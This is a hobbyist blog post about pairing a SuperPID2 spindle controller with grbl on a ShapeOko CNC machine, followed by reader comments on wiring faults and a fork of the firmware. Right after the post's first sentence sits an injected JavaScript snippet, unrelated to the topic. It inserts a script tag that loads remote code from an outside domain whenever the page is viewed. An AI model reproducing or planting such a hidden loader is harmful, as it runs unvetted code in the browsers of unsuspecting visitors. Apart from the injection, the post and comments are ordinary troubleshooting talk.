grbl + SuperPID2 = Super Awesome

I bought a SuperPID2 to control the spindle on my ShapeOko v1. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal);

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11 Responses to grbl + SuperPID2 = Super Awesome

  1. Brent says:

    Howdy! I’m in Texas. Rolled across your page *after* I read all the comments in the config.h concerning those two lines of code (especially the part about inverting the pins) and came to the same conclusions. Haven’t tested it yet, but I do have SuperPID running and it’s nice. So thanks! Sort of!

  2. Robert Allen Payne says:

    I was really glad to see your post. I thought all those items you mentioned were what I wanted but it’s nice to see confirmation. Now here’s the rub for me. I set my max speed to 27,000. And my speeds work just great.

    But M3 and M5 have Zero effect. I’ve confirmed my settings are right or at least match yours. . I’ve made sure my wiring is correct and that I get a tone when I do a continuity test from Pin13 to Run on the SPID. But the spindle just starts up and power on and runs continuously. I can change the speed. But not turn it off.

    I even went back in and disabled the “invert” expecting that to at least turn it off, but it didn’t.

    Any ideas on what to check next? Probably really stupid and everyone is going to immediately see the problem. But after 3 hours I’m at my end.

    • Robert Allen Payne says:

      I’ve never seen this happen. And I’ve used Arduinos for years. But when I tested for continuity between pin 13 and the SuperPID I was actually testing from the shield. Turns out the Arduino Pin 13 was dead. Maybe a bad trace. Maybe bad solder. Who knows. Replaced with another Uno and away I went.

  3. Keith P. says:

    I bought a SuperPID last year, but after a wiring issue with my limit switches, I put my CNC machine down for about 6 months. I picked it back up made the mistake of wiring up my PID at 4 in the morning….brain malfunction led me to connect my 24V line to the device (it should be 5V). It fried the logic chip but appeared to leave the stock components alone…been trying to contact SuperPID about buying just the chip to avoid the turnaround time on a full board but am not getting any responses.
    I don’t feel so bad about having to buy another one; it’s just that I don’t want to wait 3-4 weeks on a replacement.

    • Darcy says:

      Keith,

      Sorry to hear that. I think we’ve all done things like that when we haven’t been thinking at our best.

      I hope you get a good response from SuperPID soon.

      Darcy

    • Aaron says:

      Keith-
      Hope you were able to get in touch with Val at SuperPID. I know they had some email/website issues a little while back, but they’ve otherwise been very responsive for me. I had a similar issue and ended up ordering a replacement. I haven’t taken them up on the offer yet (I intend to), but they will repair the board free of charge, (you pay cost of parts and shipping).

  4. Keith P. says:

    Yeah, I was able to arrange for a repair, the estimate of which is much cheaper than expected ($40 total), given there’s at least 3 ruined components on the board. I also bought a(nother) SuperPID as a backup, so I’m waiting on that to ship…should go out any day. It’s actually the third one I’ve ordered (my brother has my other one), but the wait always kills me.

  5. Sam says:

    “I won’t describe to process of downloading the source, modifying code, compiling and uploading via the Arduino IDE.”

    Any chance you can point me to the source? I’ve spent hours trying to get this figured out and I think this is my last hurdle. I would appreciate it.

    I have the Arduino IDE set up and connecting to my Shapeoko 3, I just can’t find the above files or the source.

    Thanks,
    Sam

  6. Thank You for the insight into SuperPID and grbl updates. You lead me in the right direction for my Shapeoko 3 with grbl 1.1. Check it out here… https://github.com/Artistan/grbl/tree/shapeoko-spindle-control

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